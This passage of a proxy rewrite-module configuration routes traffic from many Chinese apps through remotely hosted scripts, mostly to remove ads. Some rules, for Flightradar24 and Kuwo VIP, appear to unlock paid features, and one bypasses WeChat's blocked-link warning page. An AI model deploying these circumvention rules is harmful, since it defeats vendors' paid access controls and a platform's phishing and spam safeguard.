pattern=^https?:\/\/freight\.xiaojukeji\.com\/gateway, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60 + +滴滴出行 = type=http-response, pattern=^https?:\/\/res\.xiaojukeji\.com\/resapi\/activity\/xpget, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60 + +滴滴出行 = type=http-response, pattern=^https?:\/\/res\.xiaojukeji\.com\/resapi\/activity\/mget, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60 + +滴滴出行 = type=http-response, pattern=^https?:\/\/conf\.diditaxi\.com\.cn\/homepage\/v\d\/other\/fast, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60 + +#http-response ^https?:\/\/conf\.diditaxi\.com\.cn\/homepage\/v\d\/core script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60, tag=滴滴出行 +滴滴出行 = type=http-response, pattern=^https?:\/\/conf\.diditaxi\.com\.cn\/dynamic\/conf, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60 + +滴滴出行 = type=http-response, pattern=^https?:\/\/common\.diditaxi\.com\.cn\/common\/v\d\/usercenter\/me, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60 + +滴滴出行 = type=http-response, pattern=^https?:\/\/daijia\.kuaidadi\.com\/gateway, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60 + +滴滴出行 = type=http-response, pattern=^https?:\/\/daijia\.kuaidadi\.com:443\/gateway, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60 + +# 微信小程序个人中心净化 感谢【TEXAS】分享 +微信小程序个人中心净化 = type=http-response, pattern=^https?:\/\/common\.diditaxi\.com\.cn\/common\/v5, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60 + +# hostname = app-v1.ecoliving168.com +电影猎手去广告 = type=http-response, pattern=^https:\/\/app-v1\.ecoliving168\.com\/api\/v1\/movie\/index_recommend\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/dianyinglieshou.js, requires-body=true, timeout=60 + +# 开屏广告及首页推荐流及底部状态栏优化 +叮咚买菜 = type=http-response, pattern=^https?:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/(?>bottomNavi|homeFlowDetail), script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/ddxq.js, requires-body=true, timeout=60 + +# 右下角AI +叮咚买菜 = type=http-response, pattern=^https?:\/\/maicai\.api\.ddxq\.mobi\/tool\/getConfig, script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/ddxq.js, requires-body=true, timeout=60 + +# 我的页净化 +叮咚买菜 = type=http-response, pattern=^https?:\/\/user\.api\.ddxq\.mobi\/userportal-service\/api\/v\d\/user\/queryMyPage, script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/ddxq.js, requires-body=true, timeout=60 + +# > Flightradar24 +Flightradar24解锁 = type=http-response, pattern=^https?:\/\/mobile\.flightradar24\.com\/mobile\/(user-session|subscribe), script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/scripts/Flightradar24.js, requires-body=true, timeout=60 + +# > 飞客茶馆 +飞客茶馆 = type=http-response, pattern=^https?:\/\/47\.100\.65\.202\/source\/plugin\/mobile\/mobile\.php\?module=threadpost&.+?&page=1, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/fly.js, requires-body=true, timeout=60 + +飞客茶馆 = type=http-response, pattern=^https?:\/\/www\.flyert\.com(\.cn)?\/.*plugin, script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/flyert.js, requires-body=true, timeout=60 + +# > 粉笔 +粉笔开屏广告 = type=http-response, pattern=^https?:\/\/tiku\.fenbi\.com\/activity\/app\/launcher\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/fenbi.js, requires-body=true, timeout=60 + +# hostname = apis.folidaymall.com +复游会微信小程序 = type=http-response, pattern=^https?:\/\/apis\.folidaymall\.com\/online\/capi\/component\/getPageComponents, script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/foliday.js, requires-body=true, timeout=60 + +# > 航旅纵横 +航旅纵横 = type=http-response, pattern=^http?:\/\/(114\.115\.217\.129)|(home\.umetrip\.com)\/gateway\/api\/umetrip\/native$, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/umetrip/umetrip_ads.js, requires-body=true, timeout=60 + +# > 盒马 +盒马 = type=http-response, pattern=^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.render\.query(?>indexpage|mypage|tabfeedstream), script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/freshippo.js, requires-body=true, timeout=60 + +# 感谢【可莉】分享 +汇付天下 = type=http-response, pattern=^https:\/\/mcsp\.cloudpnr\.com\/api\/miniapp\/popular\/T_MINIAPP$, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/huifutianxia_ads.js, requires-body=true, timeout=60 + +汇付天下 = type=http-response, pattern=^https:\/\/saas-ad\.cloudpnr\.com\/huifuad-base-api\/api\/tactics\/ad, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/huifutianxia_ads.js, requires-body=true, timeout=60 + +# 移除 轮播图 置顶文章 信息流广告 +ithome = type=http-response, pattern=^https?:\/\/napi\.ithome\.com\/api\/(news\/index|topmenu\/getfeeds), script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/ithome/ithome.js, requires-body=true, timeout=60 + +# > 建行生活 +建行生活 = type=http-response, pattern=^https?:\/\/yunbusiness\.ccb\.com\/basic_service\/txCtrl\?txcode=A3341AB04, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/ccbLife/ccbLifeAds.js, requires-body=true, timeout=60 + +# 删除首页+金融+我的多个横幅等乱七八糟的广告 +建行生活 = type=http-request, pattern=^https?:\/\/yunbusiness\.ccb\.com\/basic_service\/txCtrl\?txcode=A3341AB05, script-path=http://script.hub/convert/_start_/https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/ccbLife/A3341AB05.json/_end_/A3341AB05.json?type=mock&target-app=loon-plugin, timeout=60 + +# 内置饿了么 +建行生活内置饿了么 = type=http-response, pattern=^https?:\/\/g\.alicdn\.com\/.*o2o-ad, script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/alicdn.js, requires-body=true, timeout=60 + +# > 京东 +京东 = type=http-response, pattern=^https:\/\/api\.m\.jd\.com\/client\.action\?functionId=(deliverLayer|getTabHomeInfo|myOrderInfo|orderTrackBusiness|personinfoBusiness|start|welcomeHome), script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/jingdong/jingdong.js, requires-body=true, timeout=60 + +# > 京喜 +京喜 = type=http-response, pattern=^https?:\/\/api\.m\.jd\.com\/api\?functionId=delivery_show, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/jingxiAd.js, requires-body=true, timeout=60 + +# 我的页面去推广 +keep = type=http-response, pattern=^https?:\/\/api\.gotokeep\.com\/athena\/v\d\/people\/my$, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js, requires-body=true, timeout=60 + +# 应用底部栏净化 +keep = type=http-response, pattern=^https?:\/\/api\.gotokeep\.com\/config\/v\d\/basic, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js, requires-body=true, timeout=60 + +# 发现页处理 +keep = type=http-response, pattern=^https?:\/\/api\.gotokeep\.com\/homepage\/v\d\/tab, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js, requires-body=true, timeout=60 + +# 课程预览页广告 +keep = type=http-response, pattern=^https?:\/\/api\.gotokeep\.com\/nuocha\/course\/v\d/\w+\/preview, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js, requires-body=true, timeout=60 + +# 我的运动页面去除下方推荐 +keep = type=http-response, pattern=^https?:\/\/api\.gotokeep\.com\/sportpage\/sport\/v\d\/mysport, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js, requires-body=true, timeout=60 + +# > 快手 +快手 = type=http-response, pattern=^https?:\/\/open\.e\.kuaishou\.com\/rest\/e\/v\d\/open\/univ$, script-path=https://raw.githubusercontent.com/app2smile/rules/master/js/adsense.js, requires-body=true, timeout=60 + +# > 夸克 +夸克 = type=http-response, pattern=^https?:\/\/open-cms-api\.(uc|quark)\.cn\/open-cms, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/quark.js, requires-body=true, timeout=60 + +# > 酷我音乐 +酷我音乐 = type=http-response, pattern=^https?:\/\/(mgxhtj|nmobi|searchrecterm)\.kuwo\.cn\/(mgxh|mobi|recterm)\.s, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js, requires-body=true, timeout=60 + +# 会员 +酷我音乐 = type=http-response, pattern=^https?:\/\/audiobookpay\.kuwo\.cn\/a\.p, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js, requires-body=true, timeout=60 + +酷我音乐 = type=http-response, pattern=^https?:\/\/musicpay\.kuwo\.cn\/music\.pay, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js, requires-body=true, timeout=60 + +酷我音乐 = type=http-response, pattern=^https?:\/\/vip1\.kuwo\.cn\/vip\/(enc\/user\/vip\?op=ui|v\d\/theme\?op=gd), script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js, requires-body=true, timeout=60 + +酷我音乐 = type=http-response, pattern=^https?:\/\/vip1\.kuwo\.cn\/vip\/v\d\/user\/vip\?op=ui, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js, requires-body=true, timeout=60 + +# > 快手联盟,优量汇,穿山甲「广告联盟」 +快手联盟,优量汇,穿山甲「广告联盟」 = type=http-response, pattern=^https:\/\/(api-access\.pangolin-sdk-toutiao\.com\/api\/ad\/union\/sdk\/get_ads|open\.e\.kuaishou\.com\/rest\/e\/v3\/open\/univ$|mi\.gdt\.qq\.com\/gdt_mview\.fcg\?), script-path=https://raw.githubusercontent.com/app2smile/rules/master/js/adsense.js, requires-body=true, timeout=60 + +# > 酷安 +酷安 = type=http-response, pattern=^https?:\/\/api\.coolapk\.com\/v6\/feed\/(detail|replyList)\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/coolapk.js, requires-body=true, timeout=60 + +酷安 = type=http-response, pattern=^https?:\/\/api\.coolapk\.com\/v6\/main\/(dataList|indexV8|init), script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/coolapk.js, requires-body=true, timeout=60 + +酷安 = type=http-response, pattern=^https?:\/\/api\.coolapk\.com\/v6\/page\/dataList\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/coolapk.js, requires-body=true, timeout=60 + +# 首页北京城市导览图片,首页上方轮播图片净化 +旅途随身听 = type=http-response, pattern=^https?:\/\/www\.1314zhilv\.com\/ltsstnew\/(common\/getJGQIconNew|city\/getAllBannelByCity), script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/lvtusuishenting/ltsst-ad.js, requires-body=true, timeout=60 + +# > 罗森点点 +罗森点点 = type=http-response, pattern=^https:\/\/lawsonapi\.yorentown\.com\/area\/sh-lawson\/app\/v1\/, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/lawson.js, requires-body=true, timeout=60 + +罗森点点 = type=http-response, pattern=^https:\/\/lawsonapi\.yorentown\.com\/portal\/app\/globalLaunch\/listAdvert, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/lawson.js, requires-body=true, timeout=60 + +# > 买单吧 +mdb = type=http-response, pattern=^https?:\/\/creditcardapp\.bankcomm\.(com|cn)\/rcg\/index\.html\?callbackurl=rcg\/index\.html&orclogin=1&, script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/mdb.js, requires-body=true, timeout=60 + +# 我的页面 +芒果TV我的页面 = type=http-response, pattern=^https?:\/\/me\.bz\.mgtv\.com\/v3\/module\/list\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# 首页信息流,顶部tab +芒果TV首页信息流,顶部tab = type=http-response, pattern=^https?:\/\/mob-st\.bz\.mgtv\.com\/odin\/c1\/channel\/index\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +芒果TV = type=http-response, pattern=^https?:\/\/dc2?\.bz\.mgtv\.com\/dynamic\/v1\/channel\/(index|vrsList)\/\w, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# 底部tab +芒果TV底部tab = type=http-response, pattern=^https?:\/\/mobile\.api\.mgtv\.com\/mobile\/config\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# 播放详情页 +芒果TV播放详情页 = type=http-response, pattern=^https?:\/\/mobile\.api\.mgtv\.com\/v10\/video\/info\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +芒果TV播放详情页 = type=http-response, pattern=^https?:\/\/mobile-thor\.api\.mgtv\.com\/v1\/vod\/info\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# 搜索框填充词 +芒果TV搜索框填充词 = type=http-response, pattern=^https?:\/\/mobileso\.bz\.mgtv\.com\/mobile\/recommend\/v2\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60 + +# > 马蜂窝 +马蜂窝 = type=http-response, pattern=^https?:\/\/mapi\.mafengwo\.cn\/user\/profile\/get_(list|profile), script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/mafengwo.js, requires-body=true, timeout=60 + +# 帖子末尾 看过此贴的用户也在看 +脉脉帖子末尾 = type=http-response, pattern=^https:\/\/(h3\.)?open\.taou\.com\/maimai\/feed\/v6\/detail_recommend_feeds\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/maimai/maimai_ads.js, requires-body=true, timeout=60 + +# 移除信息流和评论区大块广告 信息流广告focus_feed / 评论区广告gossip_detail_comment / 评论区广告feed_detail_comment? +脉脉 = type=http-response, pattern=^https:\/\/(h3\.)?open\.taou\.com\/maimai\/(feed|gossip)\/v\d\/(focus_feed|gossip_detail_comment|feed_detail_comment?)\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/maimai/maimai_ads.js, requires-body=true, timeout=60 + +# > 美柚 +美柚App净化 = type=http-response, pattern=^https:\/\/config-service\.seeyouyima\.com\/api\/configs\/batch\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/meiyou/meiyou_ads.js, requires-body=true, timeout=60 + +美柚App净化 = type=http-response, pattern=^https:\/\/config-service\.seeyouyima\.com\/api\/configs\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/meiyou/meiyou_ads.js, requires-body=true, timeout=60 + +# > 朴朴超市 +朴朴超市 = type=http-response, pattern=^https?:\/\/j1\.pupuapi\.com\/client\/marketing\/banner\/v7\?position_types=2(%[A-Z0-9]+)+&store_id, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/PupuSplashAds.js, requires-body=true, timeout=60 + +# 首页开屏广告 感谢【德克萨斯】分享 +去哒 = type=http-response, pattern=^https?:\/\/iqushangwang\.8quan\.com\/index\.php\/i\/index\/index, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/QuDa.js, requires-body=true, timeout=60 + +# 我的页净化 +去哒 = type=http-response, pattern=^https?:\/\/cupid\.51job(app)?\.com\/open\/my-page\/, script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/51job.js, requires-body=true, timeout=60 + +# > 企迈 - QMAI(包含: 挪瓦咖啡、林里柠檬茶、霸王茶姬、陈香贵) +企迈(挪瓦咖啡、林里柠檬茶、霸王茶姬、陈香贵) = type=http-response, pattern=^https?:\/\/(?>webapi|miniapp)\.qmai\.cn\/web\/catering([0-9]-apiserver)?\/advertising\/ad\/advertiseInfo, script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/qmai.js, requires-body=true, timeout=60 + +# 过滤推广 关NSFW提示 感谢【xream】分享 +reddit = type=http-response, pattern=^https?:\/\/gql(-fed)?\.reddit\.com, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/reddit.js, requires-body=true, timeout=60 + +# RRTV_level_info +rrtv_json = type=http-response, pattern=^https?:\/\/api\.rr\.tv\/\w{3}\/level\/info, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js, requires-body=true, timeout=60 + +# RRTV_去除首頁廣告 +rrtv_json = type=http-response, pattern=https://api.rr.tv/v3plus/index/channel\?pageNum=1&position=CHANNEL_INDEX, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js, requires-body=true, timeout=60 + +# RRTV_去除廣場tab +rrtv_json = type=http-response, pattern=^https?:\/\/api\.rr\.tv\/app\/config\/h5NativeBar, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js, requires-body=true, timeout=60 + +# RRTV_去除商城廣告 +rrtv_json = type=http-response, pattern=^https?:\/\/api\.rr\.tv\/v3plus\/index\/channel\?pageNum=1&position=CHANNEL_MY, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js, requires-body=true, timeout=60 + +# RRTV_Ad_List +rrtv_json = type=http-response, pattern=^https?:\/\/api\.rr\.tv\/user\/privilege\/list, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js, requires-body=true, timeout=60 + +# RRTV_Ad_All +rrtv_json = type=http-response, pattern=^https?:\/\/api\.rr\.tv\/ad\/getAll, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js, requires-body=true, timeout=60 + +# RRTV_Get_Drama +rrtv_json = type=http-response, pattern=^https?:\/\/api\.rr\.tv\/drama\/app\/get_combined_drama_detail, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js, requires-body=true, timeout=60 + +# RRTV_Watch_V4 +rrtv_json = type=http-response, pattern=https://api.rr.tv/watch/v4, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js, requires-body=true, timeout=60 + +# RRTV_User_Info +rrtv_json = type=http-response, pattern=https://api.rr.tv/user/profile, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/rrtv_json.js, requires-body=true, timeout=60 + +# 替换信息收集 +req_replace_body = type=http-request, pattern=^https:\/\/data-collector\.soulapp\.cn\/api\/data\/report\/v\d, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/template/req_replace_body.js, requires-body=true, timeout=60 + +# 青少年模式弹窗 +soul_ads = type=http-response, pattern=^https?:\/\/api-account\.soulapp\.cn\/teenager\/config, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60 + +soul_ads = type=http-response, pattern=^https?:\/\/api-a\.soulapp\.cn\/v2\/post\/gift\/list, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60 + +soul_ads = type=http-response, pattern=^https?:\/\/api-a\.soulapp\.cn\/official\/scene\/module, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60 + +soul_ads = type=http-response, pattern=^https?:\/\/api-user\.soulapp\.cn\/furion\/position\/content, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60 + +soul_ads = type=http-response, pattern=^https?:\/\/api-user\.soulapp\.cn\/v\d\/planet\/config, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60 + +soul_ads = type=http-response, pattern=^https?:\/\/api-chat\.soulapp\.cn\/chat\/limitInfo, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60 + +soul_ads = type=http-response, pattern=^https?:\/\/post\.soulapp\.cn\/hot\/soul\/rank, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60 + +soul_ads = type=http-response, pattern=^https?:\/\/post\.soulapp\.cn\/v\d\/post\/homepage\/guide\/card, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60 + +soul_ads = type=http-response, pattern=^https?:\/\/post\.soulapp\.cn\/v\d\/post\/recSquare\/subTabs, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60 + +soul_ads = type=http-response, pattern=^https?:\/\/chat-live\.soulapp\.cn\/chatroom\/chatClassifyRoomList, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60 + +soul_ads = type=http-response, pattern=^https?:\/\/gateway-mobile-gray\.soulapp\.cn\/mobile\/app\/version\/queryIos, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60 + +soul_ads = type=http-response, pattern=^https?:\/\/47\.110\.187\.87\/winterfell\/v2\/getIpByDomain, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soul/soul_ads.js, requires-body=true, timeout=60 + +# > 苏打校园APP +苏打校园APP = type=http-response, pattern=^https?:\/\/api\.sodalife\.xyz\/v1\/posters\?location=SODA_APP%3AHOME%3ATOP, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/soda.js, requires-body=true, timeout=60 + +# hostname = homepage-api.smzdm.com, haojia-api.smzdm.com, app-api.smzdm.com, user-api.smzdm.com, article-api.smzdm.com, qianbao.smzdm.com, s-api.smzdm.com, haojia.m.smzdm.com +什么值得买去广告 = type=http-response, pattern=^https?:\/\/haojia\.m\.smzdm\.com\/detail_modul\/user_related_modul\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js, requires-body=true, timeout=60 + +什么值得买去广告 = type=http-response, pattern=^https?:\/\/haojia-api\.smzdm\.com\/ranking_list\/articles\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js, requires-body=true, timeout=60 + +什么值得买去广告 = type=http-response, pattern=^https?:\/\/s-api\.smzdm\.com\/sou\/filter\/tags\/hot_tags\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js, requires-body=true, timeout=60 + +什么值得买去广告 = type=http-response, pattern=^https?:\/\/s-api\.smzdm\.com\/sou\/list_v10\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js, requires-body=true, timeout=60 + +什么值得买去广告 = type=http-response, pattern=^https?:\/\/user-api\.smzdm\.com\/vip\/creator_user_center, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/smzdm_ads.js, requires-body=true, timeout=60 + +什么值得买去广告 = type=http-response, pattern=^https?:\/\/user-api\.smzdm\.com\/vip$, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/smzdm/Smzdm.js, requires-body=true, timeout=60 + +# 感谢【怎么肥事】分享 +Smzdm = type=http-response, pattern=^https?:\/\/app-api\.smzdm\.com\/util\/loading, script-path=https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js, requires-body=true, timeout=60 + +Smzdm = type=http-response, pattern=^https?:\/\/app-api\.smzdm\.com\/util\/update, script-path=https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js, requires-body=true, timeout=60 + +Smzdm = type=http-response, pattern=^https?:\/\/user-api\.smzdm\.com\/vip\/bottom_card_list, script-path=https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js, requires-body=true, timeout=60 + +Smzdm = type=http-response, pattern=^https?:\/\/haojia-api\.smzdm\.com\/home\/list, script-path=https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js, requires-body=true, timeout=60 + +Smzdm = type=http-response, pattern=^https?:\/\/homepage-api\.smzdm\.com\/v3\/home, script-path=https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js, requires-body=true, timeout=60 + +Smzdm = type=http-response, pattern=^https?:\/\/article-api\.smzdm\.com\/publish\/get_bubble, script-path=https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js, requires-body=true, timeout=60 + +Smzdm = type=http-response, pattern=^https?:\/\/qianbao\.smzdm\.com\/v\d\/app\/home, script-path=https://raw.githubusercontent.com/ZenmoFeiShi/Qx/main/Smzdm.js, requires-body=true, timeout=60 + +# > 淘宝 +淘宝 = type=http-response, pattern=^https?:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.taobao\.(cloudvideo\.video\.query|wireless\.home\.splash\.awesome\.get), script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js, requires-body=true, timeout=60 + +淘宝 = type=http-response, pattern=^https?:\/\/poplayer\.template\.alibaba\.com\/\w+\.json, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js, requires-body=true, timeout=60 + +# > 腾讯新闻 +腾讯新闻 = type=http-response, pattern=^https?:\/\/(news\.ssp\.qq\.com\/app|r\.inews\.qq\.com\/(get(QQNewsUnreadList|TagFeedList)|gw\/page\/event_detail|news_feed\/hot_module_list)), script-path=https://raw.githubusercontent.com/app2smile/rules/master/js/qq-news.js, requires-body=true, timeout=60 + +# App去开屏广告(需全新应用). 若要去新闻列表广告需要搭配广告联盟模块 +vgTime = type=http-response, pattern=^https?:\/\/app02\.vgtime\.com:8080\/vgtime-app\/api\/v2\/init\/ad\.json, script-path=https://raw.githubusercontent.com/app2smile/rules/master/js/vgtime.js, requires-body=true, timeout=60 + +# 微信跳过中间界面,支付宝链接、被封禁链接进行通知弹窗跳转,在微信中用快照显示被封禁的链接(可选),在微信中进行强制重定向(可选),群聊 / 扫码均可使用,可选项可在脚本 2、3 行更改,也可在 BoxJs 中更改。 +UnblockURLinWeChat-解除微信链接限制 = type=http-response, pattern=^https\:\/\/(weixin110\.qq|security.wechat)\.com\/cgi-bin\/mmspamsupport-bin\/newredirectconfirmcgi\?, script-path=https://raw.githubusercontent.com/zZPiglet/Task/master/asset/UnblockURLinWeChat.js, requires-body=true, timeout=60 + +# mian | 热推、有话想说、分享一下、歌曲下的祝福等小提示去除 | 评论区 乐迷、星评等级 关注 等 图标去除 +NetEaseCloudMusic_mian = type=http-response, pattern=^https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/(batch|v\d\/resource\/comment\/floor\/get), script-path=https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js, requires-body=true, binary-body-mode=true, timeout=20 + +# tab +NetEaseCloudMusic_tab = type=http-response, pattern=^https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/link\/home\/framework\/tab, script-path=https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js, requires-body=true, binary-body-mode=true, timeout=20, argument="[{MY},{DT},{FX}]" + +# 推荐 | home | 主页 +NetEaseCloudMusic_home = type=http-response, pattern=^https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/(homepage\/block\/page|link\/page\/rcmd\/(resource\/show|block\/resource\/multi\/refresh)), script-path=https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js, requires-body=true, binary-body-mode=true, timeout=20, argument="[{PRGG},{PRRK},{PRDRD},{PRSCVPT},{PRST},{PRRR},{HMPR},{PRMST},{PRCN}]" + +# 发现 +NetEaseCloudMusic_fx = type=http-response, pattern=^https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/link\/page\/discovery\/resource\/show, script-path=https://raw.githubusercontent.com/Keywos/rule/main/script/wy/js/wyres.js, requires-body=true, binary-body-mode=true, timeout=20 + +# 我的 MyPageBar ad +NetEaseCloudMusic_mybarad = type=http-response, pattern=^https?:\/\/(ipv4|interface\d?)\.music\.163\.com\/e?api\/link\/position\/show\/resource, 